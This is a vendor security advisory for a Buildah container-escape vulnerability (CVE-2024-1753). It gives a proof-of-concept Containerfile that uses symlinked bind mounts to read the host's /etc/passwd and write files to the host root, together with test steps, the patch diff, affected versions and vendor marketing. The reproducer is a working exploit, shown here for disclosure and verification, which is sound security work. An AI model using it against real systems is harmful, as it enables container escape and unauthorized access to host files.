Summary
Container escape at build time
Reproducer
Prior to testing, as root, add a memorable username to /etc/passwd via adduser or your favorite editor. Also create a memorably named file in /. Suggest: touch /SHOULDNTSEETHIS.txt and adduser SHOULDNTSEETHIS. After testing, remember to remove both the file and the user from your system.
Use the following Containerfile
# cat ~/cve_Containerfile
FROM alpine as base
RUN ln -s / /rootdir
RUN ln -s /etc /etc2
FROM alpine
RUN echo "ls container root"
RUN ls -l /
RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit
RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
To Test
Testing with an older version of Buildah with the issue
setenforce 0
buildah build -f ~/cve_Containerfile .
As part of the printout from the build, you should be able to see the contents of the /' and /etcdirectories, including the/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the/etc/passwdfile which will include theSHOULDNOTSEETHISuser that you created. In addition, the file/BIND_BREAKOUTand/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.
buildah rm -a
buildah rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
buildah build -f ~/cve_Containerfile .
Neither the /BIND_BREAKEOUT or /etc/BIND_BREAKOUT2 files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd file, and nothing will be displayed from that file.
However, the files in both the / and /etc directories on the host system will be displayed.
Testing with the patch
Use the same commands as testing with an older version of Buildah.
When running using the patched version of Buildah, regardless of the setenforce settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT and the /etc/BIND_BREAKOUT will not exist on the host after the test completes.
NOTE: With the fix, the contents of the / and /etc directories, and the /etc/passwd file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the /BIND_BREAKOUT and /etc/BIND_BREAKOUT files will be created in the container image.
Workarounds
Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the / directory can be displayed. I.e., ls -alF / will show the contents of the host directory.
References
Unknown.
Impact
What kind of vulnerability is it? Who is impacted?
Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
From @nalind
# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
"errors"
+ "github.com/containers/buildah/copier"
"github.com/containers/buildah/define"
"github.com/containers/buildah/internal"
internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
// buildkit parity: support absolute path for sources from current build context
if contextDir != "" {
// path should be /contextDir/specified path
- newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+ evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+ if err != nil {
+ return newMount, "", err
+ }
+ newMount.Source = evaluated
} else {
// looks like its coming from `build run --mount=type=bind` allow using absolute path
// error out if no source is set
Frequently Asked Questions
- What is GHSA-PMF3-C36M-G5CF? GHSA-PMF3-C36M-G5CF is a high-severity path traversal vulnerability in github.com/containers/buildah (go), affecting versions >= 1.35.0, < 1.35.1. It is fixed in 1.35.1, 1.34.3, 1.33.7, 1.27.4, 1.24.7, 1.29.3, 1.31.5, 1.32.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which versions of github.com/containers/buildah are affected by GHSA-PMF3-C36M-G5CF? github.com/containers/buildah (go) versions >= 1.35.0, < 1.35.1 is affected.
- Is there a fix for GHSA-PMF3-C36M-G5CF? Yes. GHSA-PMF3-C36M-G5CF is fixed in 1.35.1, 1.34.3, 1.33.7, 1.27.4, 1.24.7, 1.29.3, 1.31.5, 1.32.3. Upgrade to this version or later.
- Is GHSA-PMF3-C36M-G5CF exploitable, and should I be worried? Whether GHSA-PMF3-C36M-G5CF is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-PMF3-C36M-G5CF is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-PMF3-C36M-G5CF?
- Upgrade
github.com/containers/buildahto 1.35.1 or later - Upgrade
github.com/containers/buildahto 1.34.3 or later - Upgrade
github.com/containers/buildahto 1.33.7 or later - Upgrade
github.com/containers/buildahto 1.27.4 or later - Upgrade
github.com/containers/buildahto 1.24.7 or later - Upgrade
github.com/containers/buildahto 1.29.3 or later - Upgrade
github.com/containers/buildahto 1.31.5 or later - Upgrade
github.com/containers/buildahto 1.32.3 or later
- Upgrade